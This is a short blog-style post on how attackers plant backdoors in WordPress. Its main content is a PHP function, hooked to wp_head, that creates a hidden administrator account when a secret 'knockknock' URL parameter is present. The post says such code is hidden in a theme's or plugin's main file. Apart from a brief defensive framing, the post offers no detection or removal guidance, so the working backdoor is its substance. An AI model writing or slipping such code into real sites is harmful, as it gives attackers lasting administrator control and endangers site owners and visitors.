How Hackers Install Backdoors in WordPress
WordPress powers over 43% of the web, making it a prime target for attackers. One of the most dangerous and persistent threats is a backdoor — hidden code that lets attackers re-enter a site even after you’ve cleaned it up. Understanding how they work is the first step to defending against them.
How Hackers Install Backdoors in WordPress
They normally inject the code into any theme’s or plugin’s main file to avoid getting caught. Below code I have shared for learning purpose only.
/**
* Function to handle backdoor operations for WordPress site.
*
* This function is intended for internal use to manage specific backdoor
* operations within the WordPress loop. It should be used with caution
* and only by authorized personnel.
*
* @return void
*/
function wploop_backdoor() {
if ($_GET['backdoor'] == 'knockknock') {
require('wp-includes/registration.php');
If (!username_exists('username')) {
$user_id = wp_create_user('name', 'pass');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
add_action('wp_head', 'wploop_backdoor'); 